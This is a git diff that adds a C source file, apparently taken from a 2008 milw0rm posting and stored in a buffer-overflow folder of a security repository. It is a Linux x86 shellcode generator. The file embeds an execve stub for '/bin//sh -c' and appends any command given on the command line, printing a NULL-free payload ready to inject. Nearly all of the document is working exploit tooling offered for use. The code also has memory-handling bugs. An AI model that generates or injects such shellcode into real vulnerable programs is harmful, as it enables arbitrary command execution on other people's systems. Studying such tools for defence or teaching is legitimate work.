1 files changed, 73 insertions, 0 deletions
diff --git a/c_seguridad/code/bof/shellcodeGen/shellcodeGen.c b/c_seguridad/code/bof/shellcodeGen/shellcodeGen.c
new file mode 100755
index 0000000..0221f48
--- /dev/null
+++ b/c_seguridad/code/bof/shellcodeGen/shellcodeGen.c
@@ -0,0 +1,73 @@
+/**
+ *
+ * BlackLight's shellcode generator for Linux x86
+ * Tested anywhere, working & NULL-free
+ *
+ * Usage: ./generator <cmd>
+ * ...and then you've got a ready2inject NULL-free shellcode for the command you like
+ *
+ * copyleft 2008 by BlackLight <blacklight[at]autistici.org>
+ * < http://blacklight.gotdns.org >
+ *
+ * Released under GPL v.3 licence
+ *
+ * Greetz to: evilsocket, for the idea he gave me  ;) 
+ * Greetz to: my friends, who tested, used and appreciated this code and helped
+ *      me to improve it to what it is now
+ * Greetz to: my girl, next to me in any moment even if she had no idea
+ *      about what I was doing ^^
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+char code[] =
+      "\\x60"                        /*pusha*/
+      "\\x31\\xc0"                   /*xor    %eax,%eax*/
+      "\\x31\\xd2"                   /*xor    %edx,%edx*/
+      "\\xb0\\x0b"                   /*mov    $0xb,%al*/
+      "\\x52"                        /*push   %edx*/
+      "\\x68\\x6e\\x2f\\x73\\x68"    /*push   $0x68732f6e*/
+      "\\x68\\x2f\\x2f\\x62\\x69"    /*push   $0x69622f2f*/
+      "\\x89\\xe3"                   /*mov    %esp,%ebx*/
+      "\\x52"                        /*push   %edx*/
+      "\\x68\\x2d\\x63\\x63\\x63"    /*push   $0x6363632d*/
+      "\\x89\\xe1"                   /*mov    %esp,%ecx*/
+      "\\x52"                        /*push   %edx*/
+      "\\xeb\\x07"                   /*jmp   804839a <cmd>*/
+      "\\x51"                        /*push   %ecx*/
+      "\\x53"                        /*push   %ebx*/
+      "\\x89\\xe1"                   /*mov    %esp,%ecx*/
+      "\\xcd\\x80"                   /*int    $0x80*/
+      "\\x61"                        /*popa*/
+      "\\xe8\\xf4\\xff\\xff\\xff"    /*call  8048393 <l1>*/;
+
+int main (int argc, char **argv)  {
+      int i,len=0;
+      char *shell,*cmd;
+
+      if (!argv[1])
+              exit(1);
+
+      for (i=1; i<argc; i++)
+              len += strlen(argv[i]);
+      len += argc;
+
+      cmd = (char*) malloc(len);
+
+      for (i=1; i<argc; i++)  {
+              strcat (cmd,argv[i]);
+              strcat (cmd,"\x20");
+      }
+
+      cmd[strlen(cmd)-1]=0;
+      shell = (char*) malloc( sizeof(code) + (strlen(argv[1]))*5 + 1 );
+      memcpy (shell,code,sizeof(code));
+
+      for (i=0; i<strlen(cmd); i++)
+              sprintf (shell,"%s\\x%.2x",shell,cmd[i]);
+      printf ("%s\n",shell);
+}
+
+// milw0rm.com [2008-08-19]
+\ No newline at end of file